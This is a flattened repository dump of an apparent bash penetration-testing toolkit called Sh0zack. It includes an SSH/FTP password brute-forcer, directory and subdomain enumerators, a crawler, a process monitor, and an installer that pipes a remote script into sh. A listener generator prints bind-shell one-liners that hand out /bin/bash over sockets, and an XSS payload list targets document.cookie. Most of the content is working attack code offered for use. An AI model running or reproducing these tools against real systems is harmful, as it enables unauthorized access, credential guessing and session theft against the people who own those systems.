├── scripts ├── .gitignore ├── install.sh └── get-wordlists.sh ├── payloads ├── sqli │ ├── .gitkeep │ └── sql.txt └── xss │ ├── .gitkeep │ └── xss.txt ├── assests └── 67732f97-297a-4048-9dc5-f64dad5c009c.png ├── tools ├── monitor-cronjob.sh ├── webcrawler.sh ├── brute-force.sh ├── dir.sh ├── dns.sh ├── listener.sh ├── privesc.sh ├── port-scanner.sh ├── ai.sh ├── shell-generator.sh └── default_subdomains.txt ├── Readme.md └── sh0zack.sh /scripts/.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /payloads/sqli/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /payloads/xss/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /assests/67732f97-297a-4048-9dc5-f64dad5c009c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh0z3n/Sh0zack/HEAD/assests/67732f97-297a-4048-9dc5-f64dad5c009c.png -------------------------------------------------------------------------------- /tools/monitor-cronjob.sh: -------------------------------------------------------------------------------- 1 | for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; 2 | -------------------------------------------------------------------------------- /tools/webcrawler.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #that's a reaaaaly limited web crawler , it is used only for small exposed sites ( won`t work with all sites ) 3 | read -p "$(echo -e '\e[5m'"${BLUE} Set the URL to crawl ${RESET}"'\e[0m')" START_URL 4 | 5 | MAX_DEPTH=5 6 | VISITED_FILE="vis-urls.txt" 7 | 8 | > "$VISITED_FILE" 9 | 10 | crawl_page() { 11 | local url=$1 12 | local depth=$2 13 | 14 | if grep -Fxq "$url" "$VISITED_FILE"; then 15 | return 16 | fi 17 | 18 | echo "$url" >> "$VISITED_FILE" 19 | 20 | local html_content=$(curl -s "$url") 21 | 22 | local links=$(echo "$html_content" | grep -oP '(?<=href=")[^"]+' | grep -E '^https?://') 23 | 24 | echo "Crawling $url at depth $depth" 25 | 26 | if [ "$depth" -ge "$MAX_DEPTH" ]; then 27 | return 28 | fi 29 | 30 | for link in $links; do 31 | crawl_page "$link" $((depth + 1)) 32 | done 33 | } 34 | 35 | crawl_page "$START_URL" 0 36 | 37 | echo "Crawling completed. Visited URLs are saved in $VISITED_FILE." 38 | -------------------------------------------------------------------------------- /tools/brute-force.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | error() { 4 | echo "Usage :$0 -t -u -p -T -s [-P -o ]" 5 | exit 1 6 | echo "Example : $0 -t 192.159.11.2 -p pass.txt - u user.txt -T 30 -s ssh -P 22 -o hh.txt" 7 | } 8 | 9 | while getopts "t:u:T:p:o:s:" opt; do 10 | case $opt in 11 | 12 | t ) TARGET=$OPTARG ;; 13 | u) USERLIST=$OPTARG ;; 14 | p) PASSLIST=$OPTARG ;; 15 | T) THREADS=$OPTARG ;; 16 | s) SERVICE=$OPTARG ;; 17 | P) PORT=$OPTARG ;; 18 | o) OUTPUT_FILE=$OPTARG ;; 19 | *) usage ;; 20 | 21 | esac 22 | 23 | done 24 | 25 | 26 | if [ -z "$TARGET" ] || [ -z "$USERLIST" ] || [ -z "$PASSLIST" ] || [ -z "$THREADS" ] || [ -z "$SERVICE" ]; then 27 | error 28 | fi 29 | 30 | if [ -n "$OUTPUT_FILE" ]; then 31 | : > "$OUTPUT_FILE" 32 | fi 33 | 34 | 35 | if [ -z "$PORT" ]; then 36 | if [ "$SERVICE" == "ssh" ]; then 37 | PORT=22 38 | elif [ "$SERVICE" == "ftp" ]; then 39 | PORT=21 40 | else 41 | echo "Unsupported service: $SERVICE. Only 'ssh' and 'ftp' are supported." 42 | exit 1 43 | fi 44 | fi 45 | 46 | ssh_brute() { 47 | local user=$1 48 | local pass=$2 49 | sshpass -p "$pass" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 "$user@$TARGET" -P $PORT exit 2>/dev/null 50 | if [ $? -eq 0 ]; then 51 | echo "Success: $user:$pass" >> "$OUTPUT_FILE" 52 | echo "Success: $user:$pass" 53 | fi 54 | } 55 | 56 | 57 | ftp_brute() { 58 | local user=$1 59 | local pass=$2 60 | curl -s --ftp-ssl -u "$user:$pass" "ftp://$TARGET:$PORT/" >/dev/null 61 | if [ $? -eq 0 ]; then 62 | echo "Success: $user:$pass" >> "$OUTPUT_FILE" 63 | echo "Success: $user:$pass" 64 | fi 65 | 66 | } 67 | 68 | echo "Starting brute force" 69 | echo "Target: $TARGET" 70 | echo "Userlist: $USERLIST" 71 | echo "Passlist: $PASSLIST" 72 | echo "Threads: $THREADS" 73 | echo "Service: $SERVICE" 74 | echo "Port: $PORT" 75 | 76 | 77 | 78 | users=($(cat "$USERLIST")) 79 | passwords=($(cat "$PASSLIST")) 80 | 81 | 82 | for i in "${users[@]}"; do 83 | for j in "${passwords[@]}"; do 84 | while [ "$(jobs | wc -l)" -ge "$THREADS" ]; do 85 | sleep 0.0001 86 | done 87 | 88 | if [ "$SERVICE" == "ssh" ]; then 89 | ssh_brute "$i" "$j" & 90 | elif [ "$SERVICE" == "ftp" ]; then 91 | ftp_brute "$i" "$j" & 92 | fi 93 | done 94 | done 95 | 96 | wait 97 | 98 | echo "Brute force is done" 99 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /tools/dir.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Color definitions 4 | R='\033[0;31m' 5 | G='\033[0;32m' 6 | Y='\033[1;33m' 7 | B='\033[0;34m' 8 | M='\033[0;35m' 9 | C='\033[0;36m' 10 | W='\033[1;37m' 11 | RST='\033[0m' 12 | 13 | url="" 14 | wordlist="" 15 | output_file="" 16 | threads=50 17 | timeout=5 18 | verbose=false 19 | 20 | usage() { 21 | echo -e "${Y}Usage: $0 -u -w [OPTIONS]${RST}" 22 | echo -e "${Y}Example: $0 -u http://example.com -w /path/to/wordlist.txt -o results.txt -t 100 -v${RST}" 23 | echo "" 24 | echo -e "${G}Options:${RST}" 25 | echo -e " ${B}-u ${W}Target URL (required)${RST}" 26 | echo -e " ${B}-w ${W}Path to wordlist file (required)${RST}" 27 | echo -e " ${B}-o ${W}Output file (default: dir_results.txt)${RST}" 28 | echo -e " ${B}-t ${W}Number of threads (default: 50)${RST}" 29 | echo -e " ${B}-T ${W}Timeout for requests (default: 5)${RST}" 30 | echo -e " ${B}-v ${W}Verbose mode${RST}" 31 | exit 1 32 | } 33 | 34 | while getopts "u:w:o:t:T:v" opt; do 35 | case $opt in 36 | u) url="$OPTARG" ;; 37 | w) wordlist="$OPTARG" ;; 38 | o) output_file="$OPTARG" ;; 39 | t) threads="$OPTARG" ;; 40 | T) timeout="$OPTARG" ;; 41 | v) verbose=true ;; 42 | *) usage ;; 43 | esac 44 | done 45 | 46 | if [ -z "$url" ] || [ -z "$wordlist" ]; then 47 | usage 48 | fi 49 | 50 | if [ -z "$output_file" ]; then 51 | output_file="dir_results.txt" 52 | fi 53 | 54 | dir_enum() { 55 | local endpoint="$1" 56 | local response=$(curl -s -o /dev/null -w "%{http_code}" -m "$timeout" "$url/$endpoint") 57 | local status="" 58 | local color="" 59 | case "$response" in 60 | 200) status="Found"; color=$G ;; 61 | 3*) status="Redirect"; color=$Y ;; 62 | 401) status="Unauthorized"; color=$R ;; 63 | 403) status="Forbidden"; color=$M ;; 64 | 500) status="Server Error"; color=$R ;; 65 | *) return ;; # ulach other status codes 66 | esac 67 | echo -e "${color}| $(printf "%-50s" "$url/$endpoint") | $(printf "%-15s" "$status ($response)") |${RST}" 68 | } 69 | 70 | enumerate() { 71 | local total_lines=$(wc -l < "$wordlist") 72 | local counter=0 73 | local start_time=$(date +%s) 74 | 75 | echo -e "${W}| Directory | Status |${RST}" 76 | echo -e "${W}|----------------------------------------------------|-----------------|${RST}" 77 | 78 | export -f dir_enum 79 | export url timeout verbose 80 | export R G Y B M C W RST 81 | 82 | cat "$wordlist" | xargs -P "$threads" -I {} bash -c 'dir_enum "$@"' _ {} | tee -a >(sed "s/\x1B\[[0-9;]*[JKmsu]//g" > "$output_file") 83 | 84 | local end_time=$(date +%s) 85 | local duration=$((end_time - start_time)) 86 | 87 | echo -e "${Y}=========================================================================${RST}" 88 | echo -e "${G}Directory enumeration complete.${RST}" 89 | echo -e "${B}Total entries processed: ${W}$total_lines${RST}" 90 | echo -e "${B}Time taken: ${W}$duration seconds${RST}" 91 | echo -e "${B}Results saved to: ${W}$output_file${RST}" 92 | } 93 | 94 | echo -e "${M}Starting directory enumeration on $url using wordlist: $wordlist...${RST}" 95 | echo -e "${Y}======================================================================${RST}" 96 | enumerate 97 | -------------------------------------------------------------------------------- /scripts/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Color definitions 4 | RED='\033[0;31m' 5 | GREEN='\033[0;32m' 6 | YELLOW='\033[1;33m' 7 | BLUE='\033[0;34m' 8 | RESET='\033[0m' 9 | BOLD='\033[1m' 10 | 11 | # List of required tools 12 | TOOLS=( 13 | "nmap" 14 | "rustscan" 15 | "gobuster" 16 | "hydra" 17 | "wfuzz" 18 | "nikto" 19 | "wpscan" 20 | "curl" 21 | "xargs" 22 | "jq" 23 | "python3-pip" 24 | "fold" 25 | "bash" 26 | "base64" #exhausted to complete other tools , in case you had a installation err , go to reddit or stackoverflow am done with this XD 27 | ) 28 | 29 | # Python packages 30 | PIP_PACKAGES=( 31 | "requests" 32 | "beautifulsoup4" 33 | "base58" 34 | ) 35 | 36 | get_package_manager() { 37 | if command -v apt &>/dev/null; then 38 | echo "apt" 39 | elif command -v dnf &>/dev/null; then 40 | echo "dnf" 41 | elif command -v yum &>/dev/null; then 42 | echo "yum" 43 | elif command -v pacman &>/dev/null; then # shout out to best pacman user samyyy 44 | echo "pacman" 45 | else 46 | echo "" 47 | fi 48 | } 49 | 50 | if [ "$EUID" -ne 0 ]; then 51 | echo -e "${RED}Please run as root${RESET}" 52 | exit 1 53 | fi 54 | 55 | PKG_MANAGER=$(get_package_manager) 56 | if [ -z "$PKG_MANAGER" ]; then 57 | echo -e "${RED}No supported package manager found${RESET}" 58 | exit 1 59 | fi 60 | 61 | case $PKG_MANAGER in 62 | "apt") 63 | INSTALL_CMD="apt install -y" 64 | ;; 65 | "dnf") 66 | INSTALL_CMD="dnf install -y" 67 | ;; 68 | "yum") 69 | INSTALL_CMD="yum install -y" 70 | ;; 71 | "pacman") 72 | INSTALL_CMD="pacman -S --noconfirm" 73 | ;; 74 | esac 75 | 76 | echo -e "${BLUE}${BOLD}Starting installation of required tools...${RESET}" 77 | 78 | 79 | echo -e "${YELLOW}Installing required tools...${RESET}" 80 | for tool in "${TOOLS[@]}"; do 81 | if ! command -v "$tool" &>/dev/null; then 82 | echo -e "${BLUE}Installing $tool...${RESET}" 83 | if $INSTALL_CMD "$tool"; then 84 | echo -e "${GREEN}Successfully installed $tool${RESET}" 85 | else 86 | echo -e "${RED}Failed to install $tool${RESET}" 87 | fi 88 | else 89 | echo -e "${GREEN}$tool is already installed${RESET}" 90 | fi 91 | done 92 | 93 | if command -v pip3 &>/dev/null; then 94 | echo -e "${YELLOW}Installing Python packages...${RESET}" 95 | for package in "${PIP_PACKAGES[@]}"; do 96 | echo -e "${BLUE}Installing $package...${RESET}" 97 | if pip3 install "$package"; then 98 | echo -e "${GREEN}Successfully installed $package${RESET}" 99 | else 100 | echo -e "${RED}Failed to install $package${RESET}" 101 | fi 102 | done 103 | fi 104 | 105 | # Install Rustscan if not available in package manager 106 | if ! command -v rustscan &>/dev/null; then 107 | echo -e "${YELLOW}Installing Rustscan...${RESET}" 108 | if command -v cargo &>/dev/null; then 109 | cargo install rustscan 110 | else 111 | echo -e "${RED}Cargo not found. Installing rust...${RESET}" 112 | curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 113 | source $HOME/.cargo/env 114 | cargo install rustscan 115 | fi 116 | fi 117 | 118 | # Clone additional tools or repositories if needed 119 | TOOLS_DIR="tools" 120 | if [ ! -d "$TOOLS_DIR" ]; then 121 | mkdir -p "$TOOLS_DIR" 122 | fi 123 | 124 | echo -e "${GREEN}${BOLD}Installation complete!${RESET}" 125 | echo -e "${YELLOW}Note: Some tools might require additional configuration${RESET}" 126 | -------------------------------------------------------------------------------- /tools/dns.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Color definitions 4 | RED='\033[0;31m' 5 | GREEN='\033[0;32m' 6 | YELLOW='\033[0;33m' 7 | BLUE='\033[0;34m' 8 | MAGENTA='\033[0;35m' 9 | CYAN='\033[0;36m' 10 | NC='\033[0m' # No Color 11 | 12 | custom_url="" 13 | wordlist="" 14 | output_file="" 15 | threads=50 16 | timeout=5 17 | resolve_ip=true 18 | verbose=false 19 | 20 | usage() { 21 | echo -e "${BLUE}Usage: $0 -u -w [OPTIONS]${NC}" 22 | echo -e "Example: $0 -u example.com -w subdomains.txt -o results.txt -t 100 -v" 23 | echo -e "\nOptions:" 24 | echo -e " -u Target URL (required)" 25 | echo -e " -w Path to wordlist file (required)" 26 | echo -e " -o Output file (default: subdomain_results.txt)" 27 | echo -e " -t Number of threads (default: 50)" 28 | echo -e " -T Timeout for DNS queries (default: 5)" 29 | echo -e " -n Do not resolve IP addresses" 30 | echo -e " -v Verbose mode" 31 | exit 1 32 | } 33 | 34 | # Parse command-line arguments 35 | while getopts "u:w:o:t:T:nv" opt; do 36 | case $opt in 37 | u) custom_url="$OPTARG" ;; 38 | w) wordlist="$OPTARG" ;; 39 | o) output_file="$OPTARG" ;; 40 | t) threads="$OPTARG" ;; 41 | T) timeout="$OPTARG" ;; 42 | n) resolve_ip=false ;; 43 | v) verbose=true ;; 44 | *) usage ;; 45 | esac 46 | done 47 | 48 | if [ -z "$custom_url" ] || [ -z "$wordlist" ]; then 49 | usage 50 | fi 51 | 52 | if [ -z "$output_file" ]; then 53 | output_file="shozack-subdomain_results.txt" 54 | fi 55 | 56 | # URL has a protocol 57 | if [[ "$custom_url" != http://* && "$custom_url" != https://* ]]; then 58 | custom_url="http://$custom_url" 59 | fi 60 | 61 | domain=$(echo "$custom_url" | awk -F[/:] '{print $4}') 62 | 63 | check_wordlist() { 64 | if [ ! -f "$wordlist" ]; then 65 | echo -e "${YELLOW}Wordlist not found. Downloading from $custom_url...${NC}" 66 | curl -sSL "$custom_url" -o "$wordlist" 67 | if [ $? -ne 0 ]; then 68 | echo -e "${RED}Failed to download wordlist. Exiting.${NC}" 69 | exit 1 70 | fi 71 | else 72 | echo -e "${GREEN}Using existing wordlist: $wordlist${NC}" 73 | fi 74 | } 75 | 76 | dns_enum() { 77 | local subdomain="$1" 78 | local full_domain="$subdomain.$domain" 79 | local result="" 80 | 81 | if $resolve_ip; then 82 | result=$(timeout $timeout host "$full_domain" 2>/dev/null | grep 'has address' | head -n 1) 83 | if [ -n "$result" ]; then 84 | local ip=$(echo "$result" | awk '{print $NF}') 85 | echo -e "$full_domain : $ip" 86 | elif $verbose; then 87 | echo "$full_domain,No IP" >&2 88 | fi 89 | else 90 | if timeout $timeout host "$full_domain" 2>/dev/null | grep -q 'has address'; then 91 | echo "$full_domain" 92 | elif $verbose; then 93 | echo "$full_domain,Not found" >&2 94 | fi 95 | fi 96 | } 97 | 98 | export -f dns_enum 99 | export resolve_ip 100 | export verbose 101 | export timeout 102 | export domain 103 | 104 | print_banner() { 105 | echo -e "${MAGENTA}" 106 | echo "============================================" 107 | echo " Sh0zack Advanced DNS Subdomain Enumerator" 108 | echo "============================================" 109 | echo -e "${NC}" 110 | echo -e "${CYAN}Target URL:${NC} $custom_url" 111 | echo -e "${CYAN}Wordlist:${NC} $wordlist" 112 | echo -e "${CYAN}Output File:${NC} $output_file" 113 | echo -e "${CYAN}Threads:${NC} $threads" 114 | echo -e "${CYAN}Timeout:${NC} $timeout seconds" 115 | echo -e "${CYAN}Resolve IP:${NC} $resolve_ip" 116 | echo -e "${CYAN}Verbose:${NC} $verbose" 117 | echo "============================================" 118 | } 119 | 120 | main() { 121 | print_banner 122 | check_wordlist 123 | 124 | echo -e "${GREEN}Starting enumeration...${NC}" 125 | start_time=$(date +%s) 126 | 127 | xargs -P $threads -I {} -a "$wordlist" bash -c 'dns_enum "$@"' _ {} | tee "$output_file" 128 | 129 | end_time=$(date +%s) 130 | duration=$((end_time - start_time)) 131 | 132 | subs=$(wc -l < "$output_file") 133 | 134 | echo -e "\n${GREEN}Enumeration complete!${NC}" 135 | echo -e "${CYAN}Total subdomains found:${NC} $subs" 136 | echo -e "${CYAN}Time taken:${NC} $duration seconds" 137 | echo -e "${CYAN}Results saved to:${NC} $output_file" 138 | } 139 | 140 | main 141 | -------------------------------------------------------------------------------- /tools/listener.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | GREEN='\033[0;32m' 4 | YELLOW='\033[1;33m' 5 | CYAN='\033[0;36m' 6 | RED='\033[0;31m' 7 | RESET='\033[0m' 8 | 9 | open_listener() { 10 | local l=$1 11 | local ip=$2 12 | local port=$3 13 | 14 | case "$l" in 15 | "Netcat") 16 | echo "nc -lvnp $port" 17 | ;; 18 | "Netcat (with -e support)") 19 | echo "nc -lvnp $port -e /bin/bash" 20 | ;; 21 | "Python") 22 | echo "python -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(('$ip',$port));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);subprocess.call(['/bin/bash','-i'])\"" 23 | ;; 24 | "Python3") 25 | echo "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(('$ip',$port));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);subprocess.call(['/bin/bash','-i'])\"" 26 | ;; 27 | "Socat") 28 | echo "socat TCP-LISTEN:$port,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane" 29 | ;; 30 | "Powercat") 31 | echo "powercat -l -p $port -v -t 1000" 32 | ;; 33 | "Rlwrap Netcat") 34 | echo "rlwrap nc -lvnp $port" 35 | ;; 36 | "Pwncat") 37 | echo "python3 -m pwncat -lp $port" 38 | ;; 39 | "Rustcat") 40 | echo "rcat listen -p $port" 41 | ;; 42 | "Metasploit") 43 | echo "msfconsole -q -x \"use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST $ip; set LPORT $port; run\"" 44 | ;; 45 | "OpenSSL") 46 | echo "openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes && openssl s_server -quiet -key key.pem -cert cert.pem -port $port" 47 | ;; 48 | "Ncat (SSL)") 49 | echo "ncat --ssl -lvnp $port" 50 | ;; 51 | "PHP") 52 | echo "php -S $ip:$port" 53 | ;; 54 | "Ruby") 55 | echo "ruby -rsocket -e 'Socket.new(2,1,6).bind(Socket.sockaddr_in($port,\"$ip\")).listen(1).accept.each_line{|l|puts l;IO.popen(l.chomp,\"r\"){|p|puts(p.readline)}}.close'" 56 | ;; 57 | "Perl") 58 | echo "perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($port,INADDR_ANY));listen(S,SOMAXCONN);while(1){accept(C,S);if(!fork()){exec(\"/bin/bash -i <&3 >&3 2>&3\")}}'" 59 | ;; 60 | *) 61 | echo -e "${RED}Listener type not supported: $l${RESET}" 62 | ;; 63 | esac 64 | } 65 | 66 | menu() { 67 | lista=("Netcat" "Netcat (with -e support)" "Python" "Python3" "Socat" "Powercat" 68 | "Rlwrap Netcat" "Pwncat" "Rustcat" "Metasploit" "OpenSSL" "Ncat (SSL)" 69 | "PHP" "Ruby" "Perl" "Exit") 70 | for i in "${!lista[@]}"; do 71 | echo "$((i + 1)). ${lista[i]}" 72 | done 73 | } 74 | 75 | while true; do 76 | menu 77 | echo -e "${YELLOW}Open a Listener ${RESET}" 78 | 79 | read -p "Enter your choice: " choice 80 | 81 | case $choice in 82 | 1) 83 | l="Netcat" 84 | ;; 85 | 2) 86 | l="Netcat (with -e support)" 87 | ;; 88 | 3) 89 | l="Python" 90 | ;; 91 | 4) 92 | l="Python3" 93 | ;; 94 | 5) 95 | l="Socat" 96 | ;; 97 | 6) 98 | l="Powercat" 99 | ;; 100 | 7) 101 | l="Rlwrap Netcat" 102 | ;; 103 | 8) 104 | l="Pwncat" 105 | ;; 106 | 9) 107 | l="Rustcat" 108 | ;; 109 | 10) 110 | l="Metasploit" 111 | ;; 112 | 11) 113 | l="OpenSSL" 114 | ;; 115 | 12) 116 | l="Ncat (SSL)" 117 | ;; 118 | 13) 119 | l="PHP" 120 | ;; 121 | 14) 122 | l="Ruby" 123 | ;; 124 | 15) 125 | l="Perl" 126 | ;; 127 | 16) 128 | exit 0 129 | ;; 130 | *) 131 | echo -e "${RED}Invalid choice, please try again.${RESET}" 132 | continue 133 | ;; 134 | esac 135 | 136 | read -p "Enter IP address: " ip 137 | read -p "Enter port number: " port 138 | 139 | cmd=$(open_listener "$l" "$ip" "$port") 140 | echo -e "${YELLOW}Listener command:${RESET}" 141 | echo -e "${CYAN}$cmd${RESET}" 142 | read -p "Press any key to continue..." 143 | done 144 | -------------------------------------------------------------------------------- /payloads/xss/xss.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | javascript:alert(document.cookie) 9 | javascript:prompt(document.cookie) 10 | '-alert(document.cookie)-' 11 | 12 | "onmouseover=alert(document.cookie)// 13 | {{$on.constructor('alert(1)')()}} 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | <img src=0 onerror=alert('1')> 27 | <img src=0 onerror=alert(document.cookie)> 28 | 29 | "> 30 | ';alert('1');' 31 | ';alert('abc');' 32 | ript>alert(1)ript> 33 | 34 | 35 |